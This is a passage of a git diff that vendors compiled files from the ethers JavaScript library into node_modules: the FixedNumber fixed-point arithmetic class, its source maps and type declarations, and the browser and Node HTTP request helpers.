"overflow", value: val + }); + val = (((val % limit) + limit) % limit) & (limit - BN_1); + } + return val; +} +function getFormat(value) { + if (typeof (value) === "number") { + value = `fixed128x${value}`; + } + let signed = true; + let width = 128; + let decimals = 18; + if (typeof (value) === "string") { + // Parse the format string + if (value === "fixed") { + // defaults... + } + else if (value === "ufixed") { + signed = false; + } + else { + const match = value.match(/^(u?)fixed([0-9]+)x([0-9]+)$/); + (0, errors_js_1.assertArgument)(match, "invalid fixed format", "format", value); + signed = (match[1] !== "u"); + width = parseInt(match[2]); + decimals = parseInt(match[3]); + } + } + else if (value) { + // Extract the values from the object + const v = value; + const check = (key, type, defaultValue) => { + if (v[key] == null) { + return defaultValue; + } + (0, errors_js_1.assertArgument)(typeof (v[key]) === type, "invalid fixed format (" + key + " not " + type + ")", "format." + key, v[key]); + return v[key]; + }; + signed = check("signed", "boolean", signed); + width = check("width", "number", width); + decimals = check("decimals", "number", decimals); + } + (0, errors_js_1.assertArgument)((width % 8) === 0, "invalid FixedNumber width (not byte aligned)", "format.width", width); + (0, errors_js_1.assertArgument)(decimals <= 80, "invalid FixedNumber decimals (too large)", "format.decimals", decimals); + const name = (signed ? "" : "u") + "fixed" + String(width) + "x" + String(decimals); + return { signed, width, decimals, name }; +} +function toString(val, decimals) { + let negative = ""; + if (val < BN_0) { + negative = "-"; + val *= BN_N1; + } + let str = val.toString(); + // No decimal point for whole values + if (decimals === 0) { + return (negative + str); + } + // Pad out to the whole component (including a whole digit) + while (str.length <= decimals) { + str = Zeros + str; + } + // Insert the decimal point + const index = str.length - decimals; + str = str.substring(0, index) + "." + str.substring(index); + // Trim the whole component (leaving at least one 0) + while (str[0] === "0" && str[1] !== ".") { + str = str.substring(1); + } + // Trim the decimal component (leaving at least one 0) + while (str[str.length - 1] === "0" && str[str.length - 2] !== ".") { + str = str.substring(0, str.length - 1); + } + return (negative + str); +} +/** + * A FixedNumber represents a value over its [[FixedFormat]] + * arithmetic field. + * + * A FixedNumber can be used to perform math, losslessly, on + * values which have decmial places. + * + * A FixedNumber has a fixed bit-width to store values in, and stores all + * values internally by multiplying the value by 10 raised to the power of + * %%decimals%%. + * + * If operations are performed that cause a value to grow too high (close to + * positive infinity) or too low (close to negative infinity), the value + * is said to //overflow//. + * + * For example, an 8-bit signed value, with 0 decimals may only be within + * the range ``-128`` to ``127``; so ``-128 - 1`` will overflow and become + * ``127``. Likewise, ``127 + 1`` will overflow and become ``-127``. + * + * Many operation have a normal and //unsafe// variant. The normal variant + * will throw a [[NumericFaultError]] on any overflow, while the //unsafe// + * variant will silently allow overflow, corrupting its value value. + * + * If operations are performed that cause a value to become too small + * (close to zero), the value loses precison and is said to //underflow//. + * + * For example, a value with 1 decimal place may store a number as small + * as ``0.1``, but the value of ``0.1 / 2`` is ``0.05``, which cannot fit + * into 1 decimal place, so underflow occurs which means precision is lost + * and the value becomes ``0``. + * + * Some operations have a normal and //signalling// variant. The normal + * variant will silently ignore underflow, while the //signalling// variant + * will thow a [[NumericFaultError]] on underflow. + */ +class FixedNumber { + /** + * The specific fixed-point arithmetic field for this value. + */ + format; + #format; + // The actual value (accounting for decimals) + #val; + // A base-10 value to multiple values by to maintain the magnitude + #tens; + /** + * This is a property so console.log shows a human-meaningful value. + * + * @private + */ + _value; + // Use this when changing this file to get some typing info, + // but then switch to any to mask the internal type + //constructor(guard: any, value: bigint, format: _FixedFormat) { + /** + * @private + */ + constructor(guard, value, format) { + (0, errors_js_1.assertPrivate)(guard, _guard, "FixedNumber"); + this.#val = value; + this.#format = format; + const _value = toString(value, format.decimals); + (0, properties_js_1.defineProperties)(this, { format: format.name, _value }); + this.#tens = getTens(format.decimals); + } + /** + * If true, negative values are permitted, otherwise only + * positive values and zero are allowed. + */ + get signed() { return this.#format.signed; } + /** + * The number of bits available to store the value. + */ + get width() { return this.#format.width; } + /** + * The number of decimal places in the fixed-point arithment field. + */ + get decimals() { return this.#format.decimals; } + /** + * The value as an integer, based on the smallest unit the + * [[decimals]] allow. + */ + get value() { return this.#val; } + #checkFormat(other) { + (0, errors_js_1.assertArgument)(this.format === other.format, "incompatible format; use fixedNumber.toFormat", "other", other); + } + #checkValue(val, safeOp) { + /* + const width = BigInt(this.width); + if (this.signed) { + const limit = (BN_1 << (width - BN_1)); + assert(safeOp == null || (val >= -limit && val < limit), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + + if (val > BN_0) { + val = fromTwos(mask(val, width), width); + } else { + val = -fromTwos(mask(-val, width), width); + } + + } else { + const masked = mask(val, width); + assert(safeOp == null || (val >= 0 && val === masked), "overflow", "NUMERIC_FAULT", { + operation: safeOp, fault: "overflow", value: val + }); + val = masked; + } + */ + val = checkValue(val, this.#format, safeOp); + return new FixedNumber(_guard, val, this.#format); + } + #add(o, safeOp) { + this.#checkFormat(o); + return this.#checkValue(this.#val + o.#val, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%, ignoring overflow. + */ + addUnsafe(other) { return this.#add(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% added + * to %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + add(other) { return this.#add(other, "add"); } + #sub(o, safeOp) { + this.#checkFormat(o); + return this.#checkValue(this.#val - o.#val, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%, ignoring overflow. + */ + subUnsafe(other) { return this.#sub(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%other%% subtracted + * from %%this%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + sub(other) { return this.#sub(other, "sub"); } + #mul(o, safeOp) { + this.#checkFormat(o); + return this.#checkValue((this.#val * o.#val) / this.#tens, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%, ignoring overflow and underflow (precision loss). + */ + mulUnsafe(other) { return this.#mul(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs. + */ + mul(other) { return this.#mul(other, "mul"); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% multiplied + * by %%other%%. A [[NumericFaultError]] is thrown if overflow + * occurs or if underflow (precision loss) occurs. + */ + mulSignal(other) { + this.#checkFormat(other); + const value = this.#val * other.#val; + (0, errors_js_1.assert)((value % this.#tens) === BN_0, "precision lost during signalling mul", "NUMERIC_FAULT", { + operation: "mulSignal", fault: "underflow", value: this + }); + return this.#checkValue(value / this.#tens, "mulSignal"); + } + #div(o, safeOp) { + (0, errors_js_1.assert)(o.#val !== BN_0, "division by zero", "NUMERIC_FAULT", { + operation: "div", fault: "divide-by-zero", value: this + }); + this.#checkFormat(o); + return this.#checkValue((this.#val * this.#tens) / o.#val, safeOp); + } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + divUnsafe(other) { return this.#div(other); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%, ignoring underflow (precision loss). A + * [[NumericFaultError]] is thrown if overflow occurs. + */ + div(other) { return this.#div(other, "div"); } + /** + * Returns a new [[FixedNumber]] with the result of %%this%% divided + * by %%other%%. A [[NumericFaultError]] is thrown if underflow + * (precision loss) occurs. + */ + divSignal(other) { + (0, errors_js_1.assert)(other.#val !== BN_0, "division by zero", "NUMERIC_FAULT", { + operation: "div", fault: "divide-by-zero", value: this + }); + this.#checkFormat(other); + const value = (this.#val * this.#tens); + (0, errors_js_1.assert)((value % other.#val) === BN_0, "precision lost during signalling div", "NUMERIC_FAULT", { + operation: "divSignal", fault: "underflow", value: this + }); + return this.#checkValue(value / other.#val, "divSignal"); + } + /** + * Returns a comparison result between %%this%% and %%other%%. + * + * This is suitable for use in sorting, where ``-1`` implies %%this%% + * is smaller, ``1`` implies %%this%% is larger and ``0`` implies + * both are equal. + */ + cmp(other) { + let a = this.value, b = other.value; + // Coerce a and b to the same magnitude + const delta = this.decimals - other.decimals; + if (delta > 0) { + b *= getTens(delta); + } + else if (delta < 0) { + a *= getTens(-delta); + } + // Comnpare + if (a < b) { + return -1; + } + if (a > b) { + return 1; + } + return 0; + } + /** + * Returns true if %%other%% is equal to %%this%%. + */ + eq(other) { return this.cmp(other) === 0; } + /** + * Returns true if %%other%% is less than to %%this%%. + */ + lt(other) { return this.cmp(other) < 0; } + /** + * Returns true if %%other%% is less than or equal to %%this%%. + */ + lte(other) { return this.cmp(other) <= 0; } + /** + * Returns true if %%other%% is greater than to %%this%%. + */ + gt(other) { return this.cmp(other) > 0; } + /** + * Returns true if %%other%% is greater than or equal to %%this%%. + */ + gte(other) { return this.cmp(other) >= 0; } + /** + * Returns a new [[FixedNumber]] which is the largest **integer** + * that is less than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + floor() { + let val = this.#val; + if (this.#val < BN_0) { + val -= this.#tens - BN_1; + } + val = (this.#val / this.#tens) * this.#tens; + return this.#checkValue(val, "floor"); + } + /** + * Returns a new [[FixedNumber]] which is the smallest **integer** + * that is greater than or equal to %%this%%. + * + * The decimal component of the result will always be ``0``. + */ + ceiling() { + let val = this.#val; + if (this.#val > BN_0) { + val += this.#tens - BN_1; + } + val = (this.#val / this.#tens) * this.#tens; + return this.#checkValue(val, "ceiling"); + } + /** + * Returns a new [[FixedNumber]] with the decimal component + * rounded up on ties at %%decimals%% places. + */ + round(decimals) { + if (decimals == null) { + decimals = 0; + } + // Not enough precision to not already be rounded + if (decimals >= this.decimals) { + return this; + } + const delta = this.decimals - decimals; + const bump = BN_5 * getTens(delta - 1); + let value = this.value + bump; + const tens = getTens(delta); + value = (value / tens) * tens; + checkValue(value, this.#format, "round"); + return new FixedNumber(_guard, value, this.#format); + } + /** + * Returns true if %%this%% is equal to ``0``. + */ + isZero() { return (this.#val === BN_0); } + /** + * Returns true if %%this%% is less than ``0``. + */ + isNegative() { return (this.#val < BN_0); } + /** + * Returns the string representation of %%this%%. + */ + toString() { return this._value; } + /** + * Returns a float approximation. + * + * Due to IEEE 754 precission (or lack thereof), this function + * can only return an approximation and most values will contain + * rounding errors. + */ + toUnsafeFloat() { return parseFloat(this.toString()); } + /** + * Return a new [[FixedNumber]] with the same value but has had + * its field set to %%format%%. + * + * This will throw if the value cannot fit into %%format%%. + */ + toFormat(format) { + return FixedNumber.fromString(this.toString(), format); + } + /** + * Creates a new [[FixedNumber]] for %%value%% divided by + * %%decimal%% places with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% (once adjusted + * for %%decimals%%) cannot fit in %%format%%, either due to overflow + * or underflow (precision loss). + */ + static fromValue(_value, _decimals, _format) { + const decimals = (_decimals == null) ? 0 : (0, maths_js_1.getNumber)(_decimals); + const format = getFormat(_format); + let value = (0, maths_js_1.getBigInt)(_value, "value"); + const delta = decimals - format.decimals; + if (delta > 0) { + const tens = getTens(delta); + (0, errors_js_1.assert)((value % tens) === BN_0, "value loses precision for format", "NUMERIC_FAULT", { + operation: "fromValue", fault: "underflow", value: _value + }); + value /= tens; + } + else if (delta < 0) { + value *= getTens(-delta); + } + checkValue(value, format, "fromValue"); + return new FixedNumber(_guard, value, format); + } + /** + * Creates a new [[FixedNumber]] for %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%%, either due to overflow or underflow (precision loss). + */ + static fromString(_value, _format) { + const match = _value.match(/^(-?)([0-9]*)\.?([0-9]*)$/); + (0, errors_js_1.assertArgument)(match && (match[2].length + match[3].length) > 0, "invalid FixedNumber string value", "value", _value); + const format = getFormat(_format); + let whole = (match[2] || "0"), decimal = (match[3] || ""); + // Pad out the decimals + while (decimal.length < format.decimals) { + decimal += Zeros; + } + // Check precision is safe + (0, errors_js_1.assert)(decimal.substring(format.decimals).match(/^0*$/), "too many decimals for format", "NUMERIC_FAULT", { + operation: "fromString", fault: "underflow", value: _value + }); + // Remove extra padding + decimal = decimal.substring(0, format.decimals); + const value = BigInt(match[1] + whole + decimal); + checkValue(value, format, "fromString"); + return new FixedNumber(_guard, value, format); + } + /** + * Creates a new [[FixedNumber]] with the big-endian representation + * %%value%% with %%format%%. + * + * This will throw a [[NumericFaultError]] if %%value%% cannot fit + * in %%format%% due to overflow. + */ + static fromBytes(_value, _format) { + let value = (0, maths_js_1.toBigInt)((0, data_js_1.getBytes)(_value, "value")); + const format = getFormat(_format); + if (format.signed) { + value = (0, maths_js_1.fromTwos)(value, format.width); + } + checkValue(value, format, "fromBytes"); + return new FixedNumber(_guard, value, format); + } +} +exports.FixedNumber = FixedNumber; +//const f1 = FixedNumber.fromString("12.56", "fixed16x2"); +//const f2 = FixedNumber.fromString("0.3", "fixed16x2"); +//console.log(f1.divSignal(f2)); +//const BUMP = FixedNumber.from("0.5"); +//# sourceMappingURL=fixednumber.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/fixednumber.js.map b/node_modules/ethers/lib.commonjs/utils/fixednumber.js.map new file mode 100644 index 000000000000..c2397d42bf62 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/fixednumber.js.map @@ -0,0 +1 @@ +{"version":3,"file":"fixednumber.js","sourceRoot":"","sources":["../../src.ts/utils/fixednumber.ts"],"names":[],"mappings":";;;AAAA;;;;;;;;;GASG;AACH,uCAAqC;AACrC,2CAAoE;AACpE,yCAEoB;AACpB,mDAAmD;AAInD,MAAM,KAAK,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC,CAAC;AACzB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AAEvB,MAAM,MAAM,GAAG,EAAG,CAAC;AAGnB,8CAA8C;AAC9C,IAAI,KAAK,GAAG,MAAM,CAAC;AACnB,OAAO,KAAK,CAAC,MAAM,GAAG,EAAE,EAAE;IAAE,KAAK,IAAI,KAAK,CAAC;CAAE;AAE7C,gDAAgD;AAChD,SAAS,OAAO,CAAC,QAAgB;IAC7B,IAAI,MAAM,GAAG,KAAK,CAAC;IACnB,OAAO,MAAM,CAAC,MAAM,GAAG,QAAQ,EAAE;QAAE,MAAM,IAAI,MAAM,CAAC;KAAE;IACtD,OAAO,MAAM,CAAC,GAAG,GAAG,MAAM,CAAC,SAAS,CAAC,CAAC,EAAE,QAAQ,CAAC,CAAC,CAAC;AACvD,CAAC;AAkDD,SAAS,UAAU,CAAC,GAAW,EAAE,MAAoB,EAAE,MAAe;IAClE,MAAM,KAAK,GAAG,MAA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;AACxD,gCAAgC;AAChC,uCAAuC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/geturl-browser.d.ts b/node_modules/ethers/lib.commonjs/utils/geturl-browser.d.ts new file mode 100644 index 000000000000..9b2cbe7b3bb4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/geturl-browser.d.ts @@ -0,0 +1,4 @@ +import type { FetchGetUrlFunc, FetchRequest, FetchCancelSignal, GetUrlResponse } from "./fetch.js"; +export declare function createGetUrl(options?: Record): FetchGetUrlFunc; +export declare function getUrl(req: FetchRequest, _signal?: FetchCancelSignal): Promise; +//# sourceMappingURL=geturl-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/geturl-browser.d.ts.map b/node_modules/ethers/lib.commonjs/utils/geturl-browser.d.ts.map new file mode 100644 index 000000000000..00bd40b74145 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/geturl-browser.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"geturl-browser.d.ts","sourceRoot":"","sources":["../../src.ts/utils/geturl-browser.ts"],"names":[],"mappings":"AAEA,OAAO,KAAK,EACR,eAAe,EAAE,YAAY,EAAE,iBAAiB,EAAE,cAAc,EACnE,MAAM,YAAY,CAAC;AAEpB,wBAAgB,YAAY,CAAC,OAAO,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,eAAe,CAkE3E;AAKD,wBAAsB,MAAM,CAAC,GAAG,EAAE,YAAY,EAAE,OAAO,CAAC,EAAE,iBAAiB,GAAG,OAAO,CAAC,cAAc,CAAC,CAEpG"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/geturl-browser.js b/node_modules/ethers/lib.commonjs/utils/geturl-browser.js new file mode 100644 index 000000000000..b217b21fec0b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/geturl-browser.js @@ -0,0 +1,67 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.getUrl = exports.createGetUrl = void 0; +const errors_js_1 = require("./errors.js"); +function createGetUrl(options) { + async function getUrl(req, _signal) { + (0, errors_js_1.assert)(_signal == null || !_signal.cancelled, "request cancelled before sending", "CANCELLED"); + const protocol = req.url.split(":")[0].toLowerCase(); + (0, errors_js_1.assert)(protocol === "http" || protocol === "https", `unsupported protocol ${protocol}`, "UNSUPPORTED_OPERATION", { + info: { protocol }, + operation: "request" + }); + (0, errors_js_1.assert)(protocol === "https" || !req.credentials || req.allowInsecureAuthentication, "insecure authorized connections unsupported", "UNSUPPORTED_OPERATION", { + operation: "request" + }); + let error = null; + const controller = new AbortController(); + const timer = setTimeout(() => { + error = (0, errors_js_1.makeError)("request timeout", "TIMEOUT"); + controller.abort(); + }, req.timeout); + if (_signal) { + _signal.addListener(() => { + error = (0, errors_js_1.makeError)("request cancelled", "CANCELLED"); + controller.abort(); + }); + } + const init = Object.assign({}, options, { + method: req.method, + headers: new Headers(Array.from(req)), + body: req.body || undefined, + signal: controller.signal + }); + let resp; + try { + resp = await fetch(req.url, init); + } + catch (_error) { + clearTimeout(timer); + if (error) { + throw error; + } + throw _error; + } + clearTimeout(timer); + const headers = {}; + resp.headers.forEach((value, key) => { + headers[key.toLowerCase()] = value; + }); + const respBody = await resp.arrayBuffer(); + const body = (respBody == null) ? null : new Uint8Array(respBody); + return { + statusCode: resp.status, + statusMessage: resp.statusText, + headers, body + }; + } + return getUrl; +} +exports.createGetUrl = createGetUrl; +// @TODO: remove in v7; provided for backwards compat +const defaultGetUrl = createGetUrl({}); +async function getUrl(req, _signal) { + return defaultGetUrl(req, _signal); +} +exports.getUrl = getUrl; +//# sourceMappingURL=geturl-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/geturl-browser.js.map b/node_modules/ethers/lib.commonjs/utils/geturl-browser.js.map new file mode 100644 index 000000000000..a0c23b43fc08 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/geturl-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"getur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AAM,aAAa,GAAoB,YAAY,CAAC,EAAG,CAAC,CAAC;AAElD,KAAK,UAAU,MAAM,CAAC,GAAiB,EAAE,OAA2B;IACvE,OAAO,aAAa,CAAC,GAAG,EAAE,OAAO,CAAC,CAAC;AACvC,CAAC;AAFD,wBAEC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/geturl.d.ts b/node_modules/ethers/lib.commonjs/utils/geturl.d.ts new file mode 100644 index 000000000000..8d0d9783eb08 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/geturl.d.ts @@ -0,0 +1,10 @@ +import type { FetchGetUrlFunc, FetchRequest, FetchCancelSignal, GetUrlResponse } from "./fetch.js"; +/** + * @_ignore: + */ +export declare function createGetUrl(options?: Record): FetchGetUrlFunc; +/** + * @_ignore: + */ +export declare function getUrl(req: FetchRequest, signal?: FetchCancelSignal): Promise; +//# sourceMappingURL=geturl.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/geturl.d.ts.map b/node_modules/ethers/lib.commonjs/utils/geturl.d.ts.map new file mode 100644 index 000000000000..6770ee5bbd5c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/geturl.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"geturl.d.ts","sourceRoot":"","sources":["../../src.ts/utils/geturl.ts"],"names":[],"mappings":"AAOA,OAAO,KAAK,EACR,eAAe,EAAE,YAAY,EAAE,iBAAiB,EAAE,cAAc,EACnE,MAAM,YAAY,CAAC;AAEpB;;GAEG;AACH,wBAAgB,YAAY,CAAC,OAAO,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,eAAe,CAmH3E;AAKD;;GAEG;AACH,wBAAsB,MAAM,CAAC,GAAG,EAAE,YAAY,EAAE,MAAM,CAAC,EAAE,iBAAiB,GAAG,OAAO,CAAC,cAAc,CAAC,CAEnG"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/geturl.js b/node_modules/ethers/lib.commonjs/utils/geturl.js new file mode 100644 index 000000000000..1347f093db20 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/geturl.js @@ -0,0 +1,127 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.getUrl = exports.createGetUrl = void 0; +const tslib_1 = require("tslib"); +const http_1 = tslib_1.__importDefault(require("http")); +const https_1 = tslib_1.__importDefault(require("https")); +const zlib_1 = require("zlib"); +const errors_js_1 = require("./errors.js"); +const data_js_1 = require("./data.js"); +/** + * @_ignore: + */ +function createGetUrl(options) { + async function getUrl(req, signal) { + // Make sure we weren't cancelled before sending + (0, errors_js_1.assert)(signal == null || !signal.cancelled, "request cancelled before sending", "CANCELLED"); + const protocol = req.url.split(":")[0].toLowerCase(); + (0, errors_js_1.assert)(protocol === "http" || protocol === "https", `unsupported protocol ${protocol}`, "UNSUPPORTED_OPERATION", { + info: { protocol }, + operation: "request" + }); + (0, errors_js_1.assert)(protocol === "https" || !req.credentials || req.allowInsecureAuthentication, "insecure authorized connections unsupported", "UNSUPPORTED_OPERATION", { + operation: "request" + }); + const method = req.method; + const headers = Object.assign({}, req.headers); + const reqOptions = { method, headers }; + if (options) { + if (options.agent) { + reqOptions.agent = options.agent; + } + } + // Create a Node-specific AbortController, if available + let abort = null; + try { + abort = new AbortController(); + reqOptions.abort = abort.signal; + } + catch (e) { + console.log(e); + } + const request = ((protocol === "http") ? http_1.default : https_1.default).request(req.url, reqOptions); + request.setTimeout(req.timeout); + const body = req.body; + if (body) { + request.write(Buffer.from(body)); + } + request.end(); + return new Promise((resolve, reject) => { + if (signal) { + signal.addListener(() => { + if (abort) { + abort.abort(); + } + reject((0, errors_js_1.makeError)("request cancelled", "CANCELLED")); + }); + } + request.on("timeout", () => { + reject((0, errors_js_1.makeError)("request timeout", "TIMEOUT")); + }); + request.once("response", (resp) => { + const statusCode = resp.statusCode || 0; + const statusMessage = resp.statusMessage || ""; + const headers = Object.keys(resp.headers || {}).reduce((accum, name) => { + let value = resp.headers[name] || ""; + if (Array.isArray(value)) { + value = value.join(", "); + } + accum[name] = value; + return accum; + }, {}); + let body = null; + //resp.setEncoding("utf8"); + resp.on("data", (chunk) => { + if (signal) { + try { + signal.checkSignal(); + } + catch (error) { + return reject(error); + } + } + if (body == null) { + body = chunk; + } + else { + const newBody = new Uint8Array(body.length + chunk.length); + newBody.set(body, 0); + newBody.set(chunk, body.length); + body = newBody; + } + }); + resp.on("end", () => { + try { + if (headers["content-encoding"] === "gzip" && body) { + body = (0, data_js_1.getBytes)((0, zlib_1.gunzipSync)(body)); + } + resolve({ statusCode, statusMessage, headers, body }); + } + catch (error) { + reject((0, errors_js_1.makeError)("bad response data", "SERVER_ERROR", { + request: req, info: { response: resp, error } + })); + } + }); + resp.on("error", (error) => { + //@TODO: Should this just return nornal response with a server error? + error.response = { statusCode, statusMessage, headers, body }; + reject(error); + }); + }); + request.on("error", (error) => { reject(error); }); + }); + } + return getUrl; +} +exports.createGetUrl = createGetUrl; +// @TODO: remove in v7; provided for backwards compat +const defaultGetUrl = createGetUrl({}); +/** + * @_ignore: + */ +async function getUrl(req, signal) { + return defaultGetUrl(req, signal); +} +exports.getUrl = getUrl; +//# sourceMappingURL=geturl.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/geturl.js.map b/node_modules/ethers/lib.commonjs/utils/geturl.js.map new file mode 100644 index 000000000000..c4bce2bc497d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/geturl.js.map @@ -0,0 +1 @@ +{"version":3,"file":"geturl.js","sourceRoot":"","sources":["../../src.ts/utils/geturl.ts"],"names":[],"mappings":";;;;AAAA,wDAAwB;AACxB,0DAA0B;AAC1B,+BAAkC;AAElC,2CAAgD;AAChD,uCAAqC;AAMrC;;GAEG;AACH,SAAgB,YAAY,CAAC,OAA6B;IAEtD,KAAK,UAAU,MAAM,CAAC,GAAiB,EAAE,MAA0B;QAC/D,gDAAgD;QAChD,IAAA,kBAAM,EAAC,MAAM,IAAI,IAAI,IAAI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AM,CAAC,IAAA,qBAAS,EAAC,mBAAmB,EAAE,cAAc,EAAE;4BAClD,OAAO,EAAE,GAAG,EAAE,IAAI,EAAE,EAAE,QAAQ,EAAE,IAAI,EAAE,KAAK,EAAE;yBAChD,CAAC,CAAC,CAAC;qBACP;gBACL,CAAC,CAAC,CAAC;gBAEH,IAAI,CAAC,EAAE,CAAC,OAAO,EAAE,CAAC,KAAK,EAAE,EAAE;oBAC3B,qEAAqE;oBAC3D,KAAM,CAAC,QAAQ,GAAG,EAAE,UAAU,EAAE,aAAa,EAAE,OAAO,EAAE,IAAI,EAAE,CAAC;oBACrE,MAAM,CAAC,KAAK,CAAC,CAAC;gBAClB,CAAC,CAAC,CAAC;YACP,CAAC,CAAC,CAAC;YAEH,OAAO,CAAC,EAAE,CAAC,OAAO,EAAE,CAAC,KAAK,EAAE,EAAE,GAAG,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;QACvD,CAAC,CAAC,CAAC;IACP,CAAC;IAED,OAAO,MAAM,CAAC;AAClB,CAAC;AAnHD,oCAmHC;AAED,qDAAqD;AACrD,MAAM,aAAa,GAAoB,YAAY,CAAC,EAAG,CAAC,CAAC;AAEzD;;GAEG;AACI,KAAK,UAAU,MAAM,CAAC,GAAiB,EAAE,MAA0B;IACtE,OAAO,aAAa,CAAC,GAAG,EAAE,MAAM,CAAC,CAAC;AACtC,CAAC;AAFD,wBAEC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/index.d.ts b/node_modules/ethers/lib.commonjs/utils/index.d.ts new file mode 100644 index 000000000000..b6d51e0aefb6 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/index.d.ts @@ -0,0 +1,30 @@ +/** + * There are many simple utilities required to interact with + * Ethereum and to simplify the library, without increasing + * the library dependencies for simple functions. + * + * @_section api/utils:Utilities [about-utils] + */ +export { decodeBase58, encodeBase58 } from "./base58.js"; +export { decodeBase64, encodeBase64 } from "./base64.js"; +export { getBytes, getBytesCopy, isHexString, isBytesLike, hexlify, concat, dataLength, dataSlice, stripZerosLeft, zeroPadValue, zeroPadBytes } from "./data.js"; +export { isCallException, isError, assert, assertArgument, assertArgumentCount, assertPrivate, assertNormalize, makeError } from "./errors.js"; +export { EventPayload } from "./events.js"; +export { FetchRequest, FetchResponse, FetchCancelSignal, } from "./fetch.js"; +export { FixedNumber } from "./fixednumber.js"; +export { fromTwos, toTwos, mask, getBigInt, getNumber, getUint, toBigInt, toNumber, toBeHex, toBeArray, toQuantity } from "./maths.js"; +export { resolveProperties, defineProperties } from "./properties.js"; +export { decodeRlp } from "./rlp-decode.js"; +export { encodeRlp } from "./rlp-encode.js"; +export { formatEther, parseEther, formatUnits, parseUnits } from "./units.js"; +export { toUtf8Bytes, toUtf8CodePoints, toUtf8String, Utf8ErrorFuncs, } from "./utf8.js"; +export { uuidV4 } from "./uuid.js"; +export type { BytesLike } from "./data.js"; +export type { ErrorCode, EthersError, UnknownError, NotImplementedError, UnsupportedOperationError, NetworkError, ServerError, TimeoutError, BadDataError, CancelledError, BufferOverrunError, NumericFaultError, InvalidArgumentError, MissingArgumentError, UnexpectedArgumentError, CallExceptionError, InsufficientFundsError, NonceExpiredError, OffchainFaultError, ReplacementUnderpricedError, TransactionReplacedError, UnconfiguredNameError, ActionRejectedError, CallExceptionAction, CallExceptionTransaction, CodedEthersError } from "./errors.js"; +export type { EventEmitterable, Listener } from "./events.js"; +export type { GetUrlResponse, FetchPreflightFunc, FetchProcessFunc, FetchRetryFunc, FetchGatewayFunc, FetchGetUrlFunc } from "./fetch.js"; +export type { FixedFormat } from "./fixednumber.js"; +export type { BigNumberish, Numeric } from "./maths.js"; +export type { RlpStructuredData, RlpStructuredDataish } from "./rlp.js"; +export type { Utf8ErrorFunc, UnicodeNormalizationForm, Utf8ErrorReason } from "./utf8.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/index.d.ts.map b/node_modules/ethers/lib.commonjs/utils/index.d.ts.map new file mode 100644 index 000000000000..4290468f78e7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/index.d.ts.map @@ -0,0 +1 @@ 